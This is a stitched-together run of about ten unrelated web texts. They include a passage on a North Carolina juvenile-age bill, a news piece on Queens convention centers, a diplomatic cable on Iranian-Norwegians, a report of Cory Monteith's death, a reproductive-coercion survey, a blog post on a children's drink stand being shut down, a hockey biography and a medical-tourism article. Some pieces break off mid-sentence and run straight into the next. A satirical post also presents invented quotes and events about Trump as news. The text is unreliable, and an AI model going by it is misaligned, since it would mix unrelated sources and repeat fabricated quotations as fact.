merits consideration." [9]
Advocates argue while initial costs are high, over time the costs will balance out as those who are not charged as adults are less likely from becoming re-offenders.[2] Inherently, the costs of detaining juveniles in comparison to adults is more expensive because they require more care. However, this cost is offset by the increased success the juveniles will accomplish throughout their life when tried as a juvenile rather than an adult.[7] One of the bill's sponsors, Alice Bordsen, states the bill "saves you money in the near future and in the distant future" [4] supporting the argument that while implementation will be costly, it will serve best to 16- and 17- year olds by allowing them the chance to have a successful future.
Opponents of the bill are concerned primarily with the cost associated with adding juveniles to the system, which is estimated around $50 million a year.[2] Susan Doyle, representing the North Carolina Conference of District Attorneys, the "current juvenile system is horribly underfunded and would be crushed under the weight of the requirements of this bill without significant additional funding."[7] Funding is a deciding factor for many faced with this issue, as many community leaders fear the strain that will be placed on the juvenile system without proper funding.[4] Eddie Caldwell, spokesman for the North Carolina Sheriffs' Association, states "they are opposed to the current legislation that proposes raising the juvenile age without providing the programs, facilities, and funding that are necessary to do so." [4] Caldwell also argues. "It does not make sense to take a system that all the experts agree does not have the resources to care for the children, and then add two more age groups." [10] Debby Burchfield, director of the Juvenile Detention Center in Buncombe County, has been quoted as saying: "The biggest impact would be physical space, other than additional personnel. Some kids stay just 24 hours, while most stay an average of seven to 10 days."[4]
Other Concerns [ edit ]
One issue with the current law is that the 16- and 17-year-olds who are currently tried as an adult face permanent and long-lasting effects as they have a criminal record furthering them from chances for improvement.[5] By raising the age, it is anticipated that recidivism will be reduced and the quality of life will be increased for those who would have become re-offenders.[9] The NC task force believes that this legislation could benefit young adults when tried as juveniles rather than adults because it would allow those who have committed nonviolent crimes an opportunity to live a successful life as an adult.[4] The task force believes the juvenile system allows those charged to "take advantage of the rehabilitation services."[4]
Opponents of the bill believe that by raising the age the legislature is giving children two additional years to commit crimes knowing they would not be charged in an adult court, suggesting that the proposed law would not provide any deterrence.[2] Eddie Caldwell provides a valid defense against the proposed legislation and proves to be the leading contestant against House Bill 632. In addition to monetary costs that are associated with the legislation, Caldwell argues various other reasons as to why the legislation is disorganized. Caldwell argues that advocates are not addressing a major concern in which he states, "if its a kid that's done something wrong - as we all have - some worse than others, for the first time, then how do you deal with the child as opposed to the one that you've dealt with 100 times before?" [11] He also states, "Currently we allow that age group to decide whether or not they want to drop out of school, and that decision is no less important to the future of that child, and no less critical to their success than whether or not they commit a crime."[11] While taking a critical stance against the proposed policy, Caldwell "says the Sheriff's Association is in favor of allotting the Department of Juvenile Justice with the proper resources for its current overall workload."[11]The city has always spoken of a convention center as part of a retail, hotel, office and apartment complex that would be close to two highways, an airport, a bay and train and subway connections. But Mr. Bono said he believed the convention center had always been the city’s “main selling point.”
Queens officials have also regarded the city’s redevelopment plan as intimately intertwined with a convention center. Helen M. Marshall, the borough president, was reportedly taken aback when she heard of the governor’s Aqueduct proposal.
Photo
“What happened to Willets Point?” was the way Dan Andrews, her spokesman, described her reaction. “Oh my God, there’s going to be two!”
He said Ms. Marshall had since embraced the idea that there could indeed be two convention centers, the one at Aqueduct and a smaller space of fewer than 400,000 square feet at Willets Point for smaller trade shows and for local and regional conferences of, say, the Queens medical and dental societies. Events at such a center may be too big to fit into a hotel ballroom but not big enough for the proposed Aqueduct center. And the Queens Chamber of Commerce emphasizes that “an exhibition hall or conference center” was only a single feature in the overall plan.
“Willets Point right now looks like something in a third-world nation, and if we’re going to be able to maximize economic opportunities it’s going to require full redevelopment,” said Jack Friedman, the chamber’s executive director.
The city’s Economic Development Corporation, which is spearheading the Willets Point overhaul, did not respond directly to questions about the governor’s Aqueduct proposal. Despite that proposal, Jennifer Friedberg, a spokeswoman for the corporation, said, “our plans have not changed.”
City officials do, however, seem to be less wedded to the convention center as part of a reborn Willets Point. For example, officials take pains to point out that any convention center is years away from being built and is not included in the first phase of the project, which covers 20 of the roughly 61 acres. That phase imagines 400 apartments, 35 percent of which will be for people of limited income, a hotel and 680,000 square feet of retail space.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
The corporation is poring over proposals for the first phase from a half-dozen developers and should select a winner in coming weeks. It is also close to acquiring 90 percent of the needed land and is prepared to condemn the rest through eminent domain.
Advertisement Continue reading the main story
Both Mr. Cuomo’s push for an enormous convention center in southern Queens and the convention center plan for Willets Point come at a time when the centers are losing their appeal.
Heywood Sanders, a professor of public administration at the University of Texas at San Antonio who is writing a book on convention centers, said attendance had been declining for more than a decade, and started to drop even before the current economic downturn. He said the trend was a result of tighter spending by businesses and the Internet’s ability to let clients examine new products and communicate with far-flung peers.
Photo
Attendance at McCormick Place in Chicago, the nation’s largest center at more than two million square feet, plummeted from three million in 2001 to two million in 2010. The Jacob K. Javits Convention Center in Manhattan recorded 1. |
women employed tend to earn among the highest salaries of
immigrant groups, ranking highest among Norwegian Muslim
populations.
Religion
--------
13. (U) Immigrants from Iran are the least religious group of
any in Norway. When first and second generation Iranian
immigrants were asked if they still belonged to the religion
they were brought up with as children, only 50% answered
"yes," while the combined number for all other immigrants is
closer to 90%.
14. (U) Not surprisingly, the importance most Iranians grant
religion in their lives is correspondingly low. When asked
to rate this on a scale of 1 - 10 with "1" being "not
important at all" and "10" being "very important," the
Iranians' average score is around 3.9--again, the lowest of
any immigrant group. The total immigrant average is a much
higher 6.9. Forty percent of Iranians actually answered this
question with a "1," meaning religion is not at all important
to them. This is telling, as it reveals that not only have
most Iranians left the religion in which they were raised
(Islam), but that they have also not converted to another;
religion simply is not a part of their lives.
Is Radicalization a Risk?
-------------------------
15. (U) Reflecting their overall successful integration into
Norwegian society, there appears to be very little risk of
radicalization among most Iranian immigrants. There are
several possible trouble spots worth mentioning. The first
is discrimination, which is unusually high for such a
successful and well-integrated population. When asked if
they have experienced discrimination of any kind and, if so,
how many instances, only 36.3% say they have encountered none
at all. The average across all immigrants is 55.6%. Only
the Somalis (who have been the subject of considerable
OSLO 00000384 003.2 OF 003
negative media attention and are considered by many to be an
at-risk community) say they have experienced more
discrimination, with only 33.9% reporting that they have had
no problems with discrimination. Perhaps more worrisome,
Iranians have the highest percentage of individuals of any
immigrant group that say they have experienced discrimination
in "four areas or more," at 4.1%. Here, 3.6% of Somalis say
the same, while the total immigrant average is a much lower
1.6%. Discrimination can be considered the main cause for
concern over radicalization (even if mild) for the Iranian
community.
16. (U) The second possible area of concern is the close
contact some members of the community maintain with the
Iranian government. There is no evidence yet of this being
any major cause for alarm, although it could potentially
become one in the future. This is particularly so if the
individuals who have close contact with conservative elements
in Iran are also the same individuals who say they experience
higher instances of discrimination. If there were a
simultaneous rise in discrimination and an increase in the
number of visits to (or contact with) Iran, this could point
to a greater risk of radicalization among the Iranian
community.
Activities of the Iranian Embassy
---------------------------------
17. (SBU) Post has been told that the Iranian embassy
observes individuals in the secular group, especially those
who publicly protest Iranian activities (human rights abuses,
policy, etc.). The Iranian embassy is also active in
tracking those who are members of the People's Mujahadeen.
Most of these individuals are unable to return to Iran for
fear of imprisonment and/or death threats. The Norwegian
government has told these individuals to be cautious even if
traveling near the Turkish-Iranian border.
18. (SBU) Mazyar Keshvari, a prominent Iranian-Norwegian
politician in the conservative Progress Party, confirmed this
and believes that the Iranian embassy in Oslo carries out
significant outreach activities to Norway's Muslim
immigrants, funding mosques and encouraging more conservative
elements in Islam. Keshvari believes Iranians here are in
little or no danger of being influenced by the embassy's
efforts because most are too educated, secular, and
integrated to be attracted to a conservative Islamic message.
There is an Iranian mosque in Oslo which, Keshvari says, the
Islamic Republic's embassy uses as a tool to exert some
amount of influence on the observant Iranian Muslims here, as
well as any other nationalities that also happen to attend.
Keshvari (who, it should be noted again, is a regular and
vocal critic of Iran) showed particular concern about the
Iranian embassy's activities and influence in Norway and was
alarmed that the Norwegian government tolerates their actions.
19. (SBU) Keshvari also mentioned his suspicion that the
Iranian government uses exchange student visas to send
intelligence agents to Norway. These people allegedly
monitor the Norwegian-Iranian population and at times use
Norway as a sort of a safe house useful for raising money and
for planning operations in other parts of the world.
Keshvari did not believe that the Norwegian police were
willing, or perhaps were not able to effectively monitor
these individuals.
COMMENT
-------
20. (SBU) Iranians are arguably Norway's most successful
group of immigrants and certainly the most successful among
those with Muslim backgrounds. Despite high discrimination,
Iranian-Norwegians have managed to become educated,
reasonably well-employed, and quite well-integrated.
Norwegian-Iranians appear to be a population that is not
prone to radicalize, but which could serve as a model for
future immigrant integration. Keshvari's description of the
Iranian embassy's efforts to negatively influence the Muslim
community in Norway seems--although potentially troublesome
for other Muslim immigrants--unlikely to affect Iranians
themselves.
WHITNEY
© Scoop MediaGlee star Cory Monteith has died in Vancouver at the age of 31.
Full coverage: Cory’s best Glee performances | Hollywood reacts to his passing
His death was confirmed by various sources on Saturday night, and Vancouver police announced the information just past 10 p.m. this evening.
The news was first reported by Canadian outlet CTV. Police say there is no indication of foul play.
Fox issued a statement shortly after his death was announced:
“We are deeply saddened by this tragic news. Cory was an exceptional talent and an even more exceptional person. He was a true joy to work with and we will all miss him tremendously. Our thoughts and prayers are with his family and loved ones.” Article Continues Below
Monteith was best known for his role as Finn on the Fox musical dramedy and was set to have a role in season 5 which kicks off this September.
His real life girlfriend Lea Michele, who plays Rachel Berry, shared a photo of the cast including Monteith during a photoshoot just two weeks ago.
The actor had struggled with substance abuse in recent years. His troubles occurred again in early 2013 which led Monteith to take a leave of absence from Glee season 4. He had recovered and was ready to shoot season 5.
Below is a photo of Monteith during the aforementioned photo shoot:
Co-star Mark Saling was the first person associated with the show to share a (very sad) reaction:
no — Mark Salling (@MarkSalling) July 14, 2013
Actor Iqbal Theba, who plays Principal Figgins, wrote:
OMG!! My Cory… — iqbal theba (@iqbaltheba) July 14, 2013
Below is Monteith’s final tweet, where he spoke about SyFy’s Sharknado which aired Thursday night:
oh. IT'S A SHARK TORNADO. — Cory Monteith (@CoryMonteith) July 12, 2013
Cory Monteith was born May 11, 1982 in Alberta, Canada. The actor had roles in a variety of films including Final Destination 3, Deck the Halls, and the television show Kyle XY. In 2009 the actor was cast in Glee.
His Glee audition tape included a video of him drumming with pencils and plastic containers. You can see his and Michele’s audition tape below (Monteith’s part beings at 2:40):San Francisco, CA – What may be the first national survey to determine the extent of a form of abuse called “reproductive coercion” was released today by the National Domestic Violence Hotline and the Family Violence Prevention Fund. The survey found that 25% of callers to the National Domestic Violence Hotline reported that they had experienced this form of domestic and dating violence.
Reproductive coercion is defined as threats or acts of violence against a partner’s reproductive health or reproductive decision-making. It includes forced sex, a male partner pressuring a woman to become pregnant against her will and interference with the use of birth control. The women who reported this form of abuse said that their male partners either would not allow them to use birth control or sabotaged their birth control method (such as poking holes in condoms or flushing pills down the toilet). Some of the women said they had to hide their birth control.
“Birth control sabotage is a serious form of control that leads to unintended pregnancy and sexually transmitted infections,“ said Family Violence Prevention Fund President Esta Soler. “While there is a cultural assumption that some women use pregnancy as a way to trap their partner in a relationship, this survey shows that men who are abusive will sabotage their partner’s birth control and pressure them to become pregnant as a way to trap or control their partner.” (In the words of one caller, “keep me in his life forever…”)
More than 3,000 callers participated in the survey by answering all or some of four questions between August 16 and September 26, 2010. Callers’ ages ranged from 13 to over 55, with nearly 40% age 25 to 35. More than half of the callers were Caucasian, and nearly one quarter were African-American, and 17% were Hispanic. Callers who were in immediate danger were not asked to participate in the study.
For those who did participate in the study, patterns included pressure to become pregnant early in the relationship or before the victim felt ready and, in some cases, pressure to become pregnant followed by pressure to have an abortion. These abuse patterns were apparent in callers’ comments, such as:
“I better be pregnant, or I’m in trouble with him.”
“He refuses to use a condom. I’ve bought them and he throws them out.”
“He has tried to talk me into having a child. He told me he wanted to keep me from leaving him.”
“He admitted to me and the psychologist that he intentionally got me pregnant to trap me.”
“My sister was 14 years old when she became involved with this abusive guy, and when she was 15 his mother wanted grandkids so he coerced her into getting pregnant.”
“Survivors of domestic violence don’t always recognize reproductive coercion as part of the power and control their partner is exerting over them in their relationship,” said National Domestic Violence Hotline Operations Manager Mikisha Hooper. “This form of abuse can be shrouded in secrecy and may be uncomfortable for people to talk about it. By asking the right questions, we help victims identify and understand the abuse – and provide the support and resources they need.”
The survey questions and response rates were as follows:
Has your partner or ex-partner ever told you not to use any birth control (like the pill, shot, ring, etc.)? – Of the 3169 callers who responded, 25% said yes. Has your partner or ex-partner ever tried to force or pressure you to become pregnant? – Of the 3166 callers who answered this question, 25% said yes. Has your partner or ex-partner ever taken off the condom during sex so that you would become pregnant? – Of the 3103 callers who responded, 16% said yes. Has your partner or ex-partner ever made you have sex without a condom so that you would become pregnant? – Of the 3130 callers who responded, 24% said yes.
According to the Family Violence Prevention Fund, the rate of reproductive coercion is probably even higher than these findings showed because some callers who experienced this form of control were not included in the survey because they needed to be referred to help immediately.
The negative health consequences to reproductive coercion are clear: according to a study published in the American Journal of Preventive Medicine, 40% of abused women reported that their pregnancy was unintended compared to 8% of non-abused women. Additionally, female victims of violence are three times more likely than non-victims to experience sexually transmitted infections, according to a study in the Archives of Family Medicine.
As a result of this study, the National Domestic Violence Hotline started to train its advocates on how to identify and support callers who experience reproductive coercion. “It is validating for women who are experiencing this form of abuse to know that they are not alone and that there is help available. You can really hear the change in their voice when they realize someone understands what they’ve been through.” said Hooper.Well it’s not exactly lemonade but it’ll do. Christopher Carr’s twelve-year-old stepson had set up a smoothie and green-tea stand near their house when they moved back to the States after the earthquake in Japan. After they’d set up shop, Christopher took his daughter back inside to get some lunch, leaving his son to manage things at the stand.
After my daughter finished eating and as we approached the end of our street where the drink stand was, I could see from afar that the sign was pulled up and put away, the cooler was shut with everything which we had so carefully arranged on the tray table put away, and my stepson was huddled up and sitting on the rail, staring out between his knees at the ocean. "What happened?" I asked when I got down there. I wondered if he had gotten discouraged that no one was buying his drinks or maybe that no one could understand his accent. Or maybe he was just lonely down there by himself. "The police told me to pack up and go home," he said. Or, more accurately I discovered after making a few phone calls, the town police swung by and wished him good luck, and then afterwards, "someone in brown" came by and made my stepson stop selling drinks at the end of our street, because this required a permit, and my stepson did not have a permit to sell drinks. After hearing a little more from my stepson and talking to the town police, I discovered that it was the Massachusetts State Police that broke up our lemonade stand. After attempting several times to contact the State Police, I reached only answering machines. Apparently, having someone on call on weekends is not in the Massachusetts State Police's budget (but breaking up lemonade stands is somehow cost-effective).
This may be the first case of state police shutting down a kid’s green-tea stand, but the list of lemonade stands being closed down by various government agencies is long and growing.
Lemonade stand shutdowns may not be the same violation of liberty that no-knock botched SWAT raids or the incarceration of innocent people are, but they reflect the same mentality. It's the mentality that needs reforming. No simple task.
For a list of lemonade shutdowns go here.
Why TV's 'Parks and Recreation' should tackle the lemonade shutdown issue.
Updates after the leap...
[Update III - earlier updates below]
So a lot of confusion obviously exists around the events described in Christopher's blog post. This is understandable, but I don't think it means we're any closer to any conclusive answers. From what I can tell, trying to parse out the details, here is what happened: Christopher left the stand briefly while his 12-year-old watched it. When he returned the boy told him police shut it down. He mentioned they had a brown (possibly tan) uniform. When Christopher phoned the local police, they told him this:
My stepson said "brown uniform" and "bike". When I mentioned this to the Hull, Massachusetts town police switchboard operator or whoever I talked to on the phone, she immediately said something like "Oh, that's the Staties. They have jurisdiction there." After that, I Googled "Massachusetts State Police", searched for "contact" on the main page, and got this page: http://www.mass.gov/?pageID=eopsutilities&L=1&sid=Eeops&U=ContactUsInfo. I clicked on "State Police" on the lower right and got this: http://www.mass.gov/?pageID=eopsutilities&sid=Eeops&U=ContactUsInfo#a16. I called the number in question several times and no one answered. I don't know what else to say. I'm not trying to get anyone in trouble, or tarnish the image of one police department over another. I'm just reporting what happened.
So Christopher extrapolated from this they they must be talking about the DCR Rangers (per my update below). It's possible also that the local switchboard gave him the run-around, or that his son's description of events were off, or that it was a Ranger on beach patrol over-stepping his authority, or any number of other possibilities.
It does appear that it was not state police, or at least not your typical state police. However, I have no reason to suspect that the events in question did not happen. If someone was going to make up a story about the state police, I'm pretty sure they'd get the uniform right. However, when you're dealing with kids in a stressful situation, multiple state agencies, etc. there's bound to be some confusion. The local police definitely told Christopher it was state police, and maybe it was or maybe it was some other state agency in charge of patrolling the beach.
Nobody is trying to paint the cops in a bad light here. Cops and other state agencies across the country really are shutting down lemonade stands and yard sales and so forth. This isn't an outlandish story by any stretch of the imagination. In these cases, the police are often just doing their job and applying the law - even if it is a bad law, the cops didn't write it themselves.
If I get any more details I'll publish them.
P.S. I think it's also important to note that someone in the government shut down a twelve-year-old kid's green-tea stand. Whether this was state police, rangers, or the mayor doesn't really matter. The state is cracking down on kids selling drinks for fun. That's ridiculous, and I think there are probably plenty of people working in government - cops, politicians, etc. - who would agree that it's ridiculous.
[Update II - earlier update below/next page]
According to Christopher Carr the state trooper in question was a DCR Ranger. He was told the Rangers are part of the state police when he phoned in to the city and that the area he was in was their jurisdiction. Their uniforms are tan - easily described by a twelve year old as "brown". Here's Christopher:
"I admit I don't really have a lot of institutional knowledge of the structure of the state police, but it seems the DCR Rangers are part of the Staties: http://www.masscops.com/f27/dcr-rangers-34126/ I'm not sure how my not specifically referencing this calls the accuracy of the story into question. My stepson would have to know a ton about the Mass State Police institutional structure to fabricate this story; he specifically referenced "brown uniform" and a "bicycle" which fits the DCR Rangers, which are part of the state police force. I didn't even know this until I called the town police and they confirmed that brown uniform meant State Police."
I think this explains the confusion.
[Update]
A number of commenters have noted that the Massachusetts State Police do not wear brown uniforms. I am trying to get clarification on this point from the blogger whose post I link to. It is possible that this was some other state agency or a plain-clothes policeman. Obviously there was some confusion around the events, so it's hard to say for sure. I don't doubt the facts of this case, however. Much more likely there was some miscommunication between either the son and father, or the city police.
Also, remember this is the description of police by a 12-year-0ld boy. Eyewitness testimony is notoriously unreliable. It's quite possible he had the colors wrong.
Follow me on Twitter.Radko Gudas (born 5 June 1990), is a Czech professional ice hockey defenceman for the Philadelphia Flyers in the National Hockey League (NHL). The son of Leo Gudas, who competed for Czechoslovakia at the 1992 Winter Olympics, Gudas was raised in Kladno, and played for HC Rabat Kladno. He moved to North America in 2009, spending one season with the Everett Silvertips of the major junior Western Hockey League before the Tampa Bay Lightning selected him 66th overall in the 2010 NHL Entry Draft. Internationally Gudas played for the Czech Republic national junior team at two World Junior Championships and for the senior team at the 2014 Winter Olympics.
Playing career [ edit ]
Junior [ edit ]
Gudas played in the Czech Extraliga with HC Kladno during the 2008–09 season.[1] Gudas was selected by the Everett Silvertips of the Western Hockey League (WHL) in the first round of the CHL Import Draft with the 20th pick. After going un-drafted in the 2009 NHL Entry Draft, Gudas was invited to the Los Angeles Kings training camp that year but was not offered a contract. He then joined the Silvertips that fall. He had a strong season with the Silvertips, posting 7 goals, 30 assists, and 151 penalty minutes.[2] His play for the Silvertips paid off when he was selected by the Tampa Bay Lightning in the 2010 NHL Entry Draft with their 3rd-round draft pick. Gudas participated in the 2010 Lightning developmental camp that ran from 10–14 July.[3] On 8 August 2010, the Lightning announced they had signed Gudas to a three-year entry-level contract.[4]
Tampa Bay Lightning [ edit ]
Gudas participated in first NHL training camp in 2010 with the Tampa Bay Lightning. Gudas was reassigned to Tampa Bay's American Hockey League (AHL) affiliate, the Norfolk Admirals.[5] Gudas showed a desire to lay big hits on his opposition, along with an extensive fight card in his rookie season. In total Gudas dropped the gloves 16 times, and amassed 165 penalty minutes in 76 games for the Admirals. His point totals for that season were 4 goals and 13 assists.[6]
He spent the entire 2011–12 season in the AHL with the Admirals, and during this season Admirals set a professional hockey record by winning 28 consecutive games.[7] Gudas helped lead the Admiral blue-line, along with fellow Lightning prospect Mark Barberio, to the 2012 Calder Cup championship in a four-game sweep of the Toronto Marlies.[8]
Admirals and Lightning fans had been aware of Gudas' ability to grow a great beard, which he was noted for during the Admirals' playoff run.[9] It has been a signature look of his since then.
Following the dream season for the Admirals, the Lightning ended their affiliation with Norfolk and entered into a multi-year affiliation with the Syracuse Crunch.[10] Gudas was assigned to the Crunch for the 2012–13 AHL season. Gudas was recalled by the Lightning on 11 March 2013. Prior to being recalled he had 4 goals and 20 points for the Crunch, at the time leading the AHL with a plus/minus rating of plus-32. He was also fourth in the league with 207 penalty minutes.[11]
Gudas played his first NHL game against the Florida Panthers. Gudas posted three blocked shots, and two hits in 15:20 of playtime. During this game Gudas went to lay a hit on Panthers forward Kris Versteeg, who attempted to avoid the hit, but still collided with him. Versteeg wound up leaving the game with what appeared to be a right leg injury.[12] It was revealed two days later that Versteeg would need to undergo season-ending knee surgery due to the collision.[13] Gudas finished the remainder of the season with the Lightning, playing in 22 contests. He posted 2 goals, 3 assists, 38 penalty minutes and was a +3 in his first NHL season.[2] Gudas rejoined the Crunch at the finish of the NHL regular season to help Syracuse Crunch in the 2013 Calder Cup playoffs.[14] Gudas suffered a MCL injury during the Eastern Conference Championship series, and missed the first four games of the Calder Cup finals.[15] The Crunch fell to the Grand Rapids Griffins to end Gudas' AHL career.[16]
On Monday 6 May 2013, the Lightning announced they had signed Gudas to a 3-year contract extension.[17]
Gudas was thrust into a top-4 role on defense for the season, with Eric Brewer being moved to a more manageable 3rd pair role.[18] Gudas continued to play his physical game.[19] His rough and tumble in-your-face game also landed Gudas in trouble at a few points during the season. The biggest incident involved Florida Panthers forward Scottie Upshall squirting Gudas with a bottle of water from after he had fallen in front of the Panthers bench. Gudas retaliated by smashing his stick on the Panthers in frustration. He was ejected from the game for his actions, though the Lightning went on to win the game despite being down a defenseman.[20] Gudas also received a match penalty against the Dallas Stars on 5 March 2014, although Tampa Bay general manager Steve Yzerman announced there would not be any additional discipline from the league.[21] Gudas finished his first full NHL season by playing three games in the Stanley Cup playoffs for the Lightning in a 4 sweep by the Montreal Canadiens.[22]
In the 2014–15 season, on 6 January 2015, Gudas underwent arthroscopic knee surgery. The Lightning announced that he would be out for the remainder of the regular season.[23]
Philadelphia Flyers [ edit ]
On 2 March 2015, at the trade deadline Gudas was traded by the Lightning along with a first and third-round selection in the 2015 NHL Entry Draft to the Philadelphia Flyers in exchange for Braydon Coburn.[24]
Gudas was suspended for three games on 2 December 2015, for an illegal check to the head of Mika Zibanejad during a 4–2 win against the Ottawa Senators the night before. He was not assessed a penalty for the hit during the game, though Zibanejad left the game.[25]
Gudas signed a four-year contract with the Flyers worth $13.4 million on 23 June 2016.[26]
In an 8 October 2016, preseason game against the Boston Bruins, Gudas delivered an interfering hit on Austin Czarnik, who left the game and soon underwent concussion protocol. While Gudas was assessed a minor penalty for boarding during the game, upon review of the incident, the NHL Department of Player Safety eventually suspended Gudas for six games, in part because of his previous suspension in 2015.[27]
International play [ edit ]
Gudas at the 2010 World Junior Ice Hockey Championships.
On 6 January 2014, Radko Gudas was named to the Czech Republic men's national ice hockey team with teammate Ondřej Palát for the 2014 Winter Olympics in Sochi, Russia.[28] Gudas would miss two games in the Olympics due to an apparent illness.[29] He would appear in 3 games and record 4 penalty minutes during his first Olympics. The Czech Team were eliminated at the hands of Team USA.
Criticism [ edit ]
Gudas' style of play has resulted in criticism, ejections, injuries to opposing players, and subsequent reviews and suspensions from the NHL's Department of Player Safety. NBC Sports writer James O’Brien noted Gudas’ growing list of indiscretions in late 2016, writing that “If the Department of Player Safety had a speed dial list of regulars, Gudas would have a prominent spot on it.”[30] Hockey writers have described him as reckless[31] and as a player who consistently demonstrates no regard for opponents in vulnerable positions.[32] As a member of the Flyers, he has been referred to by the Philadelphia sports press as a player who “represents everything that the Flyers once were and should no longer aspire to be”, as well as “a cheap-shot aficionado, reckless, careless, damaging to the Flyers' chances of winning and to other athletes' health and safety, a player who can't be trusted by either his teammates or his opponents to play a tough, clean game.” [33]
On 2 December 2015, the league issued Gudas a three-game suspension for a headshot delivered to Ottawa forward Mika Zibanejad a day earlier, noting that an injury was caused and that the targeting of the head was avoidable.[34] On 10 October 2016, Gudas was issued a six-game suspension for an injury-causing hit delivered to the head of Boston Bruins’ forward Austin Czarnik in a pre-season game.[35]
Gudas has also been involved in numerous questionable plays in which he has avoided disciplinary action despite placing opponents in danger or causing injury.[30] This history of delivering dangerous hits while typically avoiding suspension has been referred to facetiously as Gudas’ “signature skill” as a professional hockey player.[36] In mid-February 2016, Gudas was ejected from a game for the third time in sixteen days after he injured New Jersey Devils’ forward Bobby Farnham with a late hit which targeted the head of a player not involved in the play.[37] Gudas was ejected for boarding New York Rangers' forward Jimmy Vesey in a pre-season game on 3 October 2016, receiving a five-minute major penalty and a game misconduct.[38] On 26 October 2017, Gudas was again ejected, receiving a five-minute major and a game misconduct after targeting the head of Ottawa Senators’ defenseman Chris Wideman.[39]
Flyers’ coach Dave Hakstol and GM Ron Hextall were reported to have met with Gudas in early 2016 to discuss his on-ice actions. The Philadelphia sports press noted that Gudas' behavior only worsened after the meeting, lamenting that Gudas’ on-ice actions were likely to encourage retaliation not against himself, but against the Flyers' star players such as Claude Giroux and Jakub Voráček.[33]
On 20 November 2017, Gudas was suspended for ten games without pay for a slash to the neck of Winnipeg Jets' forward Mathieu Perreault while Perreault was in a prone position on the ice.[40] Upon returning from this ten game suspension, Gudas immediately found himself in the news again after leaving his feet to deliver a hit to New Jersey Devils' forward Kyle Palmieri on February 1, 2018. Though he avoided another suspension and claimed the incident was accidental, Palmieri said he believed Gudas no longer deserved the benefit of the doubt in light of his history, adding that he felt the Flyers' player had "run out of second chances."[41]
Personal life [ edit ]
Gudas and his girlfriend have a daughter together.[42][43] Gudas' sister, Karolina Gudasová, is married to teammate Michal Neuvirth.[44]
Career statistics [ edit ]
Regular season and playoffs [ edit ]
International [ edit ]
Year Team Event Result GP G A Pts PIM 2008 Czech Republic WJC18-D1 11th 5 1 1 2 12 2009 Czech Republic WJC 6th 6 2 1 3 8 2010 Czech Republic WJC 7th 6 0 2 2 14 2014 Czech Republic OG 6th 3 0 0 0 4 2017 Czech Republic WC 7th 8 2 1 3 6 Junior totals 17 3 4 7 34 Senior totals 11 2 1 3 10A GROWING number of patients travelling overseas for surgery are putting themselves and the Australian health system at risk from deadly superbugs, infectious disease experts say.
Medical tourism companies say more people are choosing to have serious surgery overseas in a shift from the cheap, cosmetic procedures the industry has traditionally performed.
Global Health Travel managing director Cassandra Italia said her company flew about 40 Australian patients a month to countries such as India, Thailand and South Korea for treatments including spinal, orthopedic and bariatric surgery.
''In the last year and half, we've seen about a 70 per cent increase in people coming to us just because they don't want to sit on waiting lists,'' she said. ''Some people are accessing their superannuation or re-mortgaging their houses to get their surgery done.''
But the trend has alarmed experts, including the Austin Hospital's director of infectious diseases, Lindsay Grayson, who said many Australians had returned from overseas surgery extremely ill because they received poor care and picked up foreign superbugs - organisms resistant to antibiotics.YOUR DAILY DYSTOPIA | 2017.08.27
Fred Chong Rutherford Blocked Unblock Follow Following Aug 27, 2017
Rescue workers in Texas are still searching for residents trapped in their homes by flooding from Tropical Storm Harvey. Thousands have already been rescued, but thousands more are unaccounted for at this time. Two people have been killed by the storm. Officials expect the death toll to rise.
For his first tweet on Sunday morning, Donald Трамп said, “A great book by a great guy, highly recommended!” and linked people to a book for sale by Sheriff David J. Clarke on Amazon.
An hour later, Трамп said, “Great coordination between agencies at all levels of government. Continuing rains and flash floods are being dealt with. Thousands rescued.”
An hour after THAT, Трамп tweeted some messages about Texas, then said, “I will also be going to a wonderful state, Missouri, that I won by a lot in ’16. Dem C.M. is opposed to big tax cuts. Republican will win S!”
White House staffers working for General John Kelly are hopeful that the precision clockwork of Трамп’s really, really stupid tweets will continue. “If he can keep doing the dumb tweets literally at the top of the hour, we can just cut off wi-fi access then and he won’t be able to send them.”
An aide pointed out that Трамп would still have cellphone service even if they turned off the wifi, and was then knocked out by General John Kelly for pointing out the flaw in this plan.
— — — —
Retired boxing champion Floyd Mayweather Jr. defeated UFC lightweight champion Conor McGregor in the 10th round by TKO last night. Mayweather’s knockout record is now 50–0.
In related news, Donald Трамп’s record for total number of lies told in one day is also 50–0.
— — — —
Human sweat-stain Donald Трамп imposed sanctions on Venezuela to further isolate the regime of Nicolás Maduro.
When asked why he imposed sanctions, Трамп said, “We’re saying it’s about human rights, but they have so much oil, folks, so much, and I want–,” before aides to General John Kelly turned on a sound-cannon and pointed it at reporters to drown out the rest of Трамп’s comment.
— — — —
Have you done your part today? If not, take a moment to decide what to do, how you can help, and pitch in! Maybe pitching in for you means telling me I’m dumb, go for it! Whatever it is, make your time count!
‘Catastrophic’ flooding traps Houston residents
http://www.cnn.com/2017/08/27/us/harvey-landfall/index.html
A great book by a great guy, highly recommended!
https://twitter.com/realDonaldTrump/status/901772550405070848
Great coordination between agencies at all levels of government. Continuing rains and flash floods are being dealt with. Thousands rescued.
https://twitter.com/realDonaldTrump/status/901777333513854976
I will also be going to a wonderful state, Missouri, that I won by a lot in ’16. Dem C.M. is opposed to big tax cuts. Republican will win S!
https://twitter.com/realDonaldTrump/status/901795255086968833
Floyd Mayweather Dominates Conor McGregor Late to Reach 50–0
https://www.nbcnews.com/news/sports/floyd-mayweather-finishes-conor-mcgregor-10th-n796321
With executive order, Trump imposes new round of Venezuela sanctions
https://www.usatoday.com/story/news/politics/2017/08/25/executive-order-trump-imposes-new-round-venezuela-sanctions/601667001/
— — — —
Catch up back issues of YOUR DAILY DYSTOPIA on …Now it's far from the first time the Huffington Post has gone off promoting bad science, pseudoscience or outright crankery, having for instance lent its voice to Jim Carrey (in his latest role as an immunologist) preaching the 'dangers' of vaccines. I'm not the only one around here who seems to think they've grown increasingly sensationalist as well as anti-science (although this is more in the realm of 'bad science').
(So in the bigger perspective, I guess it's not that bad as far as these things go. Unlike vaccine scares, it's not likely this particular nonsense is going to lead to unnecessary deaths, for instance.)
